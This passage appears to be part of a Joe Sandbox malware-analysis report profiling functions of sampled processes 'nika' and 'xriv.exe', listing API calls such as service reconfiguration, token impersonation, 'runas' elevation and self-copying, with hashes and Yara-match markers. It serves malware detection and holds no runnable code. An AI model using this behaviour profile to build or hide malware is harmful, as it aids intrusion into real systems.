Instruction Fuzzy Hash: 4EA1B030908A4C8FEB68EF68DC567F97BE1FB59311F00412EE44ED3292DE75A8458B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0192 Relevance: 2.0, APIs: 1, Instructions: 537
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32 ref: 00007FFDC2EB1FD1

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 198aba9ddb11a97f3dd07a2682cf2eab96d5d68bdf3199b6aa90596190c77c9f
Instruction ID: 68f184211af7f19bac9c7cee3ccf6a5a243c78b39b0dbedf5017e2cccfbd4154
Opcode Fuzzy Hash: 198aba9ddb11a97f3dd07a2682cf2eab96d5d68bdf3199b6aa90596190c77c9f
Instruction Fuzzy Hash: E3F19130A18A4D4FEB68DE2CDC567F977D0FB58311F10426EE84EC7291DAB5A5818BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0788 Relevance: 1.8, APIs: 1, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FFDC2EB0989

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 366e3c0db6644f9a59a63b6c8e3f03c36e57a0aa3fc076e6a23fd3e5c869672e
Instruction ID: 83373483f94253e9264abb20d5132d2bea2cb9165c85edb38f399886146d59b0
Opcode Fuzzy Hash: 366e3c0db6644f9a59a63b6c8e3f03c36e57a0aa3fc076e6a23fd3e5c869672e
Instruction Fuzzy Hash: D7916D30A08A4D8FEB68EF28C8557E977A1FF59311F00417EE84EC7291DF75A9818B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0162 Relevance: 1.7, APIs: 1, Instructions: 198
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FFDC2EB0D99

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 50bbc8a79c4872553e6ca9fb3b471d999459bbe7e6995dc55c161e9fc7d9953b
Instruction ID: 45be1c63f25281d41af6d69ee9e2b7c5ab04d128957a55a83a8048180b99503d
Opcode Fuzzy Hash: 50bbc8a79c4872553e6ca9fb3b471d999459bbe7e6995dc55c161e9fc7d9953b
Instruction Fuzzy Hash: 97515030618A4D4FEB58EF28D8567B937E5FB59311F10412EE84EC3291DE75E8418B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0132 Relevance: 1.7, APIs: 1, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFDC2EB17F5

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 34183e89955ef58204243979129bed3d8ddfa4bd4a7c1922377db50133a27393
Instruction ID: a7bb26fe808254a8673e2eb37f377588617d770f79465b87a876cf93dfff6555
Opcode Fuzzy Hash: 34183e89955ef58204243979129bed3d8ddfa4bd4a7c1922377db50133a27393
Instruction Fuzzy Hash: F251F331A0CA4D4FEB48EF68DC556B9B7E5FF99321F00017ED04DD32A2DEA968418791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB177C Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFDC2EB17F5

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 1c25384546163589a701c9bf984bbf82b795ce0cb72803502badab97a095a767
Instruction ID: 04f765fa9815880a778a17d894de1e40ddf9cc8bc143281d7538fa8b99eecfe3
Opcode Fuzzy Hash: 1c25384546163589a701c9bf984bbf82b795ce0cb72803502badab97a095a767
Instruction Fuzzy Hash: AD51F231A0CA494FEB48EF68CC556B9B7E5FF99321F00017ED04DD32A2DEB968058791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB0122 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFDC2EB1145

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 29f35905ea2ccf4cfebde689555aa7b334c838f3120d6312d5c2abd0bf35bc3b
Instruction ID: fa7ca37b244b351f3447020312105d72e287c2cd5c6a7e201da3594c0c216cc8
Opcode Fuzzy Hash: 29f35905ea2ccf4cfebde689555aa7b334c838f3120d6312d5c2abd0bf35bc3b
Instruction Fuzzy Hash: 56219030A08A0C9FDB58DF5CD845BF9BBE4FB69321F00422ED04AD3651DB75A856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFDC2EB10CC Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFDC2EB1145

Memory Dump Source

Source File: 0000000D.00000002.393933198.00007FFDC2EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFDC2EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffdc2eb0000_nika.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 0d741c969d74f6c0f64a54106d8c181f73904dc691372159207ecd2eb8df440e
Instruction ID: 89514e2fec566e758acc121034b8bd5fc183368698cb4b3eda858544288c6356
Opcode Fuzzy Hash: 0d741c969d74f6c0f64a54106d8c181f73904dc691372159207ecd2eb8df440e
Instruction Fuzzy Hash: AA218E31A08A0C9FDB58DF5CD845BF9BBE1FBA5321F00422ED049D3651DB75A856CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xriv.exePID: 3184, Parent PID: 1880COMMON

Executed Functions

Function 010BA9A1 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(010BE000,?,010BA9A0,010BAF26,?,010BE000,010BAF26,010BE000), ref: 010BA9C3
TerminateProcess.KERNEL32(00000000,?,010BA9A0,010BAF26,?,010BE000,010BAF26,010BE000), ref: 010BA9CA
ExitProcess.KERNEL32 ref: 010BA9DC

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c9b75e0769b6c8a80b1f15f7bb6bf3ddb2051c34648321213cfa371f678cd276
Instruction ID: 2cf2f334504393279e4b210428687e2eb9a4969f1172758ec6d7f092d9ecb3a5
Opcode Fuzzy Hash: c9b75e0769b6c8a80b1f15f7bb6bf3ddb2051c34648321213cfa371f678cd276
Instruction Fuzzy Hash: B4E0B635100108EFDB226B58D988AD93F69EB91342F154465F98587121CB3AED92EB91

Uniqueness

Uniqueness Score: -1.00%

Function 010C26AF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010C2368: CreateFileW.KERNELBASE(00000000,00000000,?,010C2758,?,?,00000000,?,010C2758,00000000,0000000C), ref: 010C2385

GetLastError.KERNEL32 ref: 010C27C3
__dosmaperr.LIBCMT ref: 010C27CA
GetFileType.KERNELBASE(00000000), ref: 010C27D6
GetLastError.KERNEL32 ref: 010C27E0
__dosmaperr.LIBCMT ref: 010C27E9
CloseHandle.KERNEL32(00000000), ref: 010C2809
CloseHandle.KERNEL32(010BD4F0), ref: 010C2956
GetLastError.KERNEL32 ref: 010C2988
__dosmaperr.LIBCMT ref: 010C298F

Strings

H, xrefs: 010C2914

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 8efbaa2ac37c0c01fb94b676482dfa31b144755afb50435a52a3d3d40f0f41b0
Instruction ID: 3ba03ecd5d7be83dfea74e99c79144478858484f078bccd748442457319c1c37
Opcode Fuzzy Hash: 8efbaa2ac37c0c01fb94b676482dfa31b144755afb50435a52a3d3d40f0f41b0
Instruction Fuzzy Hash: E4A10332A041459FCF29DF68D891BEE3BF1AB0A724F18019DF891AB391CB359856CF51

Uniqueness

Uniqueness Score: -1.00%

Function 010A9C30 Relevance: 7.7, APIs: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 010A9C90

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 433dbaaaa8e97717dafd1e54a266c99e9684b167404111a18706c64957ae7313
Instruction ID: 56f5c4d07cb266e130d3efdc71e5b9e186c6332f48f42cae646e169fc0d0d7a1
Opcode Fuzzy Hash: 433dbaaaa8e97717dafd1e54a266c99e9684b167404111a18706c64957ae7313
Instruction Fuzzy Hash: 24A1C3B0A00258DBDF20DB64CC84BDDBBB9AB45304F9045D8D64967282DB755FC8CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 010A41D0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 307
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010A41D0: ShellExecuteA.SHELL32(00000000,?,?,?,00000000,00000000), ref: 010A3BA4

Sleep.KERNEL32(000003E8), ref: 010A42B9
SetCurrentDirectoryA.KERNEL32(00000000,C73353B8), ref: 010A4364

Strings

runas, xrefs: 010A3B63

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: CurrentDirectoryExecuteShellSleep
String ID: runas
API String ID: 1553058795-4000483414
Opcode ID: 0745a717ef98bf9b8f258d0fe3a09248a853543d6c3ac6b5b2d4613fd475b8ba
Instruction ID: d03131edd6bbebc26632da673bbbbdf9b14d0f4c1a9f13f71df6721009056670
Opcode Fuzzy Hash: 0745a717ef98bf9b8f258d0fe3a09248a853543d6c3ac6b5b2d4613fd475b8ba
Instruction Fuzzy Hash: A7A17B71A10204ABDB08EBB8CD857DDBF72EF91314F98825CE481AB3C5DB759A4087D2

Uniqueness

Uniqueness Score: -1.00%

Function 010AA032 Relevance: 4.6, APIs: 3, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?), ref: 010AA04D
GetFileAttributesA.KERNELBASE(?,?,?,?,?), ref: 010AA068
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 010AA1A5

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: File$AttributesCopyCreateDirectory
String ID:
API String ID: 210682061-0
Opcode ID: 3b58457c27eb7b4c03c395593d5bd38b90b94f93edb0ac625fd50a8fbd4bea93
Instruction ID: 9857aceee326c0f86705fc45e239476d08fc11ea0c6777adbd70f9899dc46d81
Opcode Fuzzy Hash: 3b58457c27eb7b4c03c395593d5bd38b90b94f93edb0ac625fd50a8fbd4bea93
Instruction Fuzzy Hash: A441E5B1A002188BDB24DB68CCC57DCBB75AF55314F9401DCE689A72C2DB356AC4CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 010C0A55 Relevance: 4.6, APIs: 3, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 010C0A5E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 010C0ACC

Part of subcall function 010C0971: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,010C4B40,?,00000000,00000000), ref: 010C0A13

Part of subcall function 010BDB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,010B8272,?,?,?,?,?,010A20C3,?,?), ref: 010BDB6E

_free.LIBCMT ref: 010C0ABD

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 90ed20c70ff94a156ba73da14993e1a7e17243b4a37b3cd6a8f70cf0c5b17114
Instruction ID: 7604f76e4ec872325ed4ff149cd80aff511bc13d08eb50ff3a8ceefe010c1c11
Opcode Fuzzy Hash: 90ed20c70ff94a156ba73da14993e1a7e17243b4a37b3cd6a8f70cf0c5b17114
Instruction Fuzzy Hash: 2C01D87A601215FF732157BE1C88CBF7CADCAD2E54315022CBA44D2208FA558D41CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 010A9D04 Relevance: 3.3, APIs: 2, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 010A9EB5
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 010AA1A5

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: File$CopyModuleName
String ID:
API String ID: 4108865673-0
Opcode ID: f42c5665bdce5a69169036ad91104892e6ccf6a12ebf6f7f10b76ae8ecf18cb5
Instruction ID: d5553405f3ae0c57f7162bcc2def22e8d1107454e286414178104c8d8a854638
Opcode Fuzzy Hash: f42c5665bdce5a69169036ad91104892e6ccf6a12ebf6f7f10b76ae8ecf18cb5
Instruction Fuzzy Hash: AAC127B1B001188BDB24DB68CC847DDBB75AB55318F8482D8D6C9A72C2DB359EC4CF66

Uniqueness

Uniqueness Score: -1.00%

Function 010BC59C Relevance: 3.1, APIs: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 010BC60A
_free.LIBCMT ref: 010BC62A

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4c789c6995f40b0a99d1693125dd911beb16006696065cf702f5582db04d6325
Instruction ID: add069c3004cb9737c17b97a4edd6d39546c052fe8370ee04067ba6b3188238b
Opcode Fuzzy Hash: 4c789c6995f40b0a99d1693125dd911beb16006696065cf702f5582db04d6325
Instruction Fuzzy Hash: 3B41A236A002049BDB25DFA8C9C0ADEB7F5EF89B14B1544A9E995EB341D731ED02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 010C4D8F Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 010C4DB0

Part of subcall function 010BDB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,010B8272,?,?,?,?,?,010A20C3,?,?), ref: 010BDB6E

RtlReAllocateHeap.NTDLL(00000000,?,?,00000004,00000000,?,010C0E8A,?,00000004,00000002,?,?,?,010BC625,?,00000002), ref: 010C4DEC

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: 2a2aca3aaf329a0a7a792393abb306a3be5a51c01a23730b5e95ff6bb48819bb
Instruction ID: e9b7500868d93a350bac9bf1f903cfbe892e0c9bb7f9c269bee474d5620a9d49
Opcode Fuzzy Hash: 2a2aca3aaf329a0a7a792393abb306a3be5a51c01a23730b5e95ff6bb48819bb
Instruction Fuzzy Hash: 52F0C2312402166B9B223B2AAC50FEF3B98BF91E70B11026DFDD4DA280DB20C440CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 010B5E20 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 010B5F53

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction ID: 5e9d0b50bd5b72d759fe1e214160451731f4e53cc8b44f1824e61b96b2b05104
Opcode Fuzzy Hash: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction Fuzzy Hash: B731F6717002019BD7189E7C9CC05EEFBE9EB55320B1443BEE9A5C7381D7709D448752

Uniqueness

Uniqueness Score: -1.00%

Function 010B7403 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 010A218E

Part of subcall function 010B8483: RaiseException.KERNEL32(E06D7363,00000001,00000003,010A216C,?,?,?,010A216C,?,010D6D1C), ref: 010B84E3

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: 3be86983fbe447236edda2a052303c6a023b0b3ba269d88372f5bcb4268513fb
Instruction ID: 45febd560439d9a1bb2024e573fdb301ae14ef971a448772e47e6c07956a9c7e
Opcode Fuzzy Hash: 3be86983fbe447236edda2a052303c6a023b0b3ba269d88372f5bcb4268513fb
Instruction Fuzzy Hash: DE01D67580030E67CB14FBE8EC809DDBBAC9E24110B508576FA94AA590FF74E55486D1

Uniqueness

Uniqueness Score: -1.00%

Function 010BD4B1 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 010BD4EB

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 8e5cb70d91ee43c71b8f501c53143b0094c83c0b74f9bf6b0e766de155b6fe42
Instruction ID: 7d64d87d8e339fbd5862ff6eafbe599454b3e2b061f42aa1c49926c466f8439a
Opcode Fuzzy Hash: 8e5cb70d91ee43c71b8f501c53143b0094c83c0b74f9bf6b0e766de155b6fe42
Instruction Fuzzy Hash: 73112A71A0420AAFCF05DF98E9409DF7BF4EF48318F0540A9F809EB251E671EA11CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 010BED56 Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010BF925: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,010BE0E6,00000001,00000364,00000006,000000FF,?,?,010B8272,?), ref: 010BF966

_free.LIBCMT ref: 010BEDC5

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction ID: 9934409c5914ff24605f8765a7216b99775fd595caeffac18638ba5adc355522
Opcode Fuzzy Hash: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction Fuzzy Hash: 7201F972604317ABC3219F9DD8C4ADEFBD8EB053B0F15066AE595A76C0E7B06910C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 010C2621 Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 010C2684

Memory Dump Source

Source File: 0000000E.00000002.395838344.00000000010A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 010A0000, based on PE: true

Associated: 0000000E.00000002.395826920.00000000010A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395940518.00000000010CE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395962835.00000000010D8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.395976121.00000000010DD000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10a0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
